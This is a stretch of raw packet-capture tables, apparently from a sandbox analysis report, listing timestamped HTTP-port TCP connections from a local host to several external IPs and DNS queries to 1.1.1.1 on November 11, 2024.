                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.173032999 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.177072048 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.177120924 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.177138090 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.177217007 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.177592993 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.177648067 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.178952932 CET5017880192.168.2.4154.85.183.50
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.178951979 CET5017980192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.184181929 CET8050179199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.184324026 CET5017980192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.184547901 CET8050178154.85.183.50192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.184710026 CET5017880192.168.2.4154.85.183.50
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.215413094 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260407925 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260477066 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260493040 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260551929 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260552883 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260653019 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260672092 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260730028 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260824919 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260876894 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260911942 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260926962 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260970116 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.260970116 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.261143923 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.261184931 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.261231899 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.261249065 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.261279106 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.261280060 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.071568966 CET5018180192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.076749086 CET805018172.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.076822042 CET5018180192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.076944113 CET5018180192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.081840038 CET805018172.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.118546009 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.124427080 CET805018064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.125525951 CET5018080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.608915091 CET805018172.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.608995914 CET5018180192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.609354019 CET5018180192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.611345053 CET5018280192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.614494085 CET805018172.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.616532087 CET805018272.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.616611004 CET5018280192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.616959095 CET5018280192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.621893883 CET805018272.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.119834900 CET805018272.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.119910002 CET5018280192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.123984098 CET5018280192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.128855944 CET805018272.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.975255966 CET5963980192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.980252028 CET805963952.34.198.229192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.980326891 CET5963980192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.980900049 CET5963980192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.985760927 CET805963952.34.198.229192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.673712969 CET805963952.34.198.229192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.673816919 CET5963980192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.681405067 CET5963980192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.689645052 CET805963952.34.198.229192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.689707041 CET5963980192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:50:25.979738951 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:50:27.819329023 CET5575080192.168.2.464.190.63.136

                                                                                                                                                                                                                    UDP Packets

                                                                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.385242939 CET5429853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.385603905 CET6270353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.385731936 CET5773953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.395198107 CET53627031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.395212889 CET53542981.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.396173000 CET53577391.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.402939081 CET6444253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.419455051 CET6392353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.419660091 CET6124753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.421144009 CET6390453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.422270060 CET5344153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.430176973 CET53639231.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.431101084 CET53639041.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.432689905 CET53534411.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.434732914 CET53644421.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.447855949 CET5086553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.448597908 CET5728353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.451514006 CET53612471.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.459573030 CET53572831.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.479260921 CET5402653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.479763985 CET6139953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.490108013 CET53540261.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.490385056 CET53613991.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.510677099 CET4974353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.511053085 CET5578553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.520724058 CET53497431.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.520903111 CET53557851.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.542489052 CET5176353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.542773008 CET6301853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.553999901 CET53517631.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.573214054 CET5413353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.573934078 CET5246353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.606549978 CET5087053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.622414112 CET53508701.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.666362047 CET53508651.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.755289078 CET53630181.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.794706106 CET53541331.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.935729027 CET6193353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.938148975 CET5515153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.941514969 CET5592853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.943741083 CET53619331.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.950987101 CET4941253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.951771021 CET5449453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.952162981 CET53559281.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.952227116 CET5416853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.952889919 CET5089653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953053951 CET5674653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953243017 CET5134553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953402042 CET6262453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953560114 CET5306853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953669071 CET4978853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953762054 CET5939453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.954020977 CET5085453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.954209089 CET5638853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.954386950 CET5581253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.962093115 CET5286553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.962279081 CET53494121.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.962600946 CET6546753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.963432074 CET6267553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.963541031 CET53626241.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.963865042 CET53497881.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.964020014 CET53567461.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.964116096 CET53508961.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.965276957 CET53541681.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.966510057 CET53558121.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.967283010 CET53593941.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.969683886 CET53551511.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.973294020 CET53654671.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.974613905 CET53626751.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.975276947 CET5930553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.983490944 CET53544941.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.984421968 CET53530681.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.985519886 CET53563881.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.985634089 CET53513451.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.985894918 CET53508541.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.993078947 CET53528651.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.993621111 CET5335953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.993895054 CET5368153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.994038105 CET5233253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.994245052 CET6553353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.996275902 CET6360653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.996438980 CET4933953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.996582985 CET5960253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.996747017 CET5982153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.003209114 CET53533591.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.003480911 CET53536811.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.006705046 CET53593051.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.008169889 CET53596021.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.012296915 CET5433253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.012486935 CET5748153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.013019085 CET6158053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.013684034 CET5662253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.013803005 CET5590553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.013915062 CET5955253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.014007092 CET6188253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.016453981 CET4992753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.016645908 CET5140353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.023056030 CET53615801.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.023092985 CET53543321.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.024099112 CET53595521.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.025289059 CET53523321.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.025376081 CET53559051.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.025499105 CET53655331.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.027184010 CET53499271.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.027600050 CET53493391.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.028090954 CET53636061.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.035564899 CET5071953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.038055897 CET6074953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.041068077 CET4989853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.041235924 CET6231453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.041770935 CET6050353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.042191982 CET5039353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.044894934 CET53618821.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.052262068 CET53605031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.052350044 CET53503931.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.073277950 CET5780153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.073427916 CET53498981.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.076045036 CET53623141.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.082860947 CET53578011.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.094228983 CET6439453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.101538897 CET53643941.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.125564098 CET53574811.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.215001106 CET53514031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.231267929 CET53607491.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.237464905 CET53566221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.279619932 CET53507191.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.570976019 CET5246353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.010159016 CET5982153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.431854010 CET53598211.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.431879044 CET53598211.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.571306944 CET5246353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.773848057 CET53524631.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.773853064 CET53524631.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.773861885 CET53524631.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:24.784463882 CET6151053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:25.774245024 CET6151053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:26.789865971 CET6151053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:27.984324932 CET53615101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:27.984347105 CET53615101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:27.984359026 CET53615101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.697971106 CET6536253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.698018074 CET5931253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.699570894 CET5607253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.701193094 CET4995553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.701339006 CET6118653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.703134060 CET5737553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.707336903 CET5332253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.708125114 CET6396553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.708834887 CET53593121.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.708859921 CET5584153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.710134029 CET5618653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.710206032 CET53560721.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.710367918 CET5259453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.710971117 CET53499551.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.713006973 CET53573751.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.714236975 CET53611861.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.716259003 CET5366153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.716691971 CET6198053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.716912031 CET5186553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.717061996 CET5621753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.717714071 CET53525941.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.718580008 CET53639651.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.718977928 CET53558411.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.718998909 CET6551253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.719655991 CET5802053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.719876051 CET5195553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.719963074 CET6099653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.720761061 CET6183853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.721149921 CET5180253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.725733042 CET53619801.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.726512909 CET53536611.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.726933002 CET53519551.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.727193117 CET53562171.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.727929115 CET53518651.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.729368925 CET53580201.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.729401112 CET53655121.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.730540037 CET53618381.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.730648041 CET53518021.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.731210947 CET5065953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.731435061 CET5179453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.731971025 CET5825753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.732013941 CET5574953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.732135057 CET5402953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.732261896 CET53653621.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.735423088 CET5430953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.736984968 CET5797553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.737271070 CET53533221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.737457991 CET5511153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.737706900 CET6035753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.738337040 CET6239253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.740997076 CET53561861.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.741729975 CET53540291.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.741797924 CET53582571.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.742387056 CET53557491.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.742410898 CET53506591.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.745441914 CET53543091.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.746609926 CET53579751.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.747886896 CET53623921.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.748183012 CET53551111.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.749553919 CET53603571.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.751530886 CET53609961.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.756068945 CET5204353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.756305933 CET6404053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.761322021 CET5513053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.761946917 CET6238353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.762132883 CET5191853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.762271881 CET5168053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.763528109 CET53517941.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.774089098 CET53520431.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.789450884 CET53640401.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.792721987 CET53623831.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.792731047 CET53551301.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.793540001 CET53519181.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.793859959 CET5324353192.168.2.41.1.1.1
